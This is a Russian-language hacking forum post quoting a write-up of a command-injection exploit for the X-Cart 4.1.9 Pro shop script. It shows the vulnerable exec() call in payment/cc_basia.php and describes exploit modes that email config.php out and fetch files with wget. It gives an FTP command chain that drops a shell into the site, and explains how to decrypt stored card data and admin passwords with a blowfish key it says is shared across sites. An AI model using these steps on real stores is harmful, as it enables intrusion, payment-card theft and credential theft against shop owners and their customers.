Показать сообщение отдельно

  #9  
Старый 09.09.2016, 20:27
sander
Новичок
Регистрация: 14.06.2010
Сообщений: 0
Провел на форуме:
2065

Репутация: 0
По умолчанию

Цитата:
Сообщение от EstGi  

подскажите пожалуйста что есть на x-cart 4.1.9 Pro
Цитирую:

.SpoilerTarget" type="button">Spoiler
При установке X-Cart требует наличия exec() и выключенного сейфмода для работы скриптов обработки картона. Сам картон и пароли пользователей зашифрованы алгоритмом blowfish и хранятся в БД; ключ blowfish хранится в config.php вместе с настройками для подключения к БД.

После целенаправленного поиска всех вызовов exec(), был обнаружен незащищенный скрипт, который не фильтрует поступающие данные, попадающие в exec().

payment/cc_basia.php:

PHP:

if($REQUEST_METHOD == "POST" && isset($HTTP_POST_VARS["boamsg"]) && empty($HTTP_POST_VARS["boaref"]))

{ x_load('order');

$pp_path = func_query_first_cell("SELECT param02 FROM $sql_tbl[ccprocessors] WHERE processor='cc_basia.php'"); $resp = parse_basia_response($HTTP_POST_VARS["boamsg"]); /* ... */ }

PHP:

function parse_basia_response($resp)

{

global $pp_path; exec(func_shellquote($pp_path)."/decrypt ".$resp." 2>&1";,$out); $resp = $out[0]; /* ... */ }

Вывода exec() получить нельзя, но команды успешно выполняются.

Эксплоит работает в интерактивном режиме, поэтому нужен CLI-интерфейс. Первый параметр URL, второй - режим работы. Всего сделал 4 режима:
[LIST][*]ch/check - проверка доступности exec() через вывод некоторых параметров конфигурации PHP в скрипте check_requirements.php с GET-параметром checkrequirements. В большинстве случаев, если путь указан верно, exec() будет доступен.
[*]e/exec - выполнение команд. Здесь надо отметить, что в команде не допускаются символы, которые могут быть заэкранированы addslashes(). Это также особо не препятствует удачному взлому.
[*]c/config - отправка config.php на email. Эксплоит запросит ваш email и выполнит такую команду:

cat ../config.php | mail $email
[*]u/upload - загрузка файлов с помощью wget. Будут запрошены URL удаленного файла, а также локальный путь для сохранения. Локальный путь нужно указывать относительно папки, где установлен X-Cart. Его можно не указывать, тогда будет использоваться файл skin1/main/error_realtime_shipping_disabled.php. По завершени выполнения команды будет предложено применить touch на созданном файле.

Если файлы не закачиваются, то вероятно wget'а нет или к нему запрещен доступ. Самый верный вариант - заливать с помощью ftp. Для этого запускаем второй режим и выполняем команду:

cd ../skin1/main/; echo user [user] [pass]>ftp.txt; echo prompt>>ftp.txt; echo get s.php>>ftp.txt; echo bye>>ftp.txt; ftp -n -v [host] mdecrypt('06a907f395516c9dfb4489e7de21d50141fabf5b 9b007787', 'bb3704bed294be6d89b840b3fc184039');

blowfish.php - это отредактированный скрипт из поставки X-Cart (см. в атаче); первый аргумент функции это зашифрованное значение, второй - ключ. Кстати на всех сайтах, которые мне попадались - ключ был один и тот же: bb3704bed294be6d89b840b3fc184039. Пароли админов расшифровываются аналогичным способом.
 
Ответить с цитированием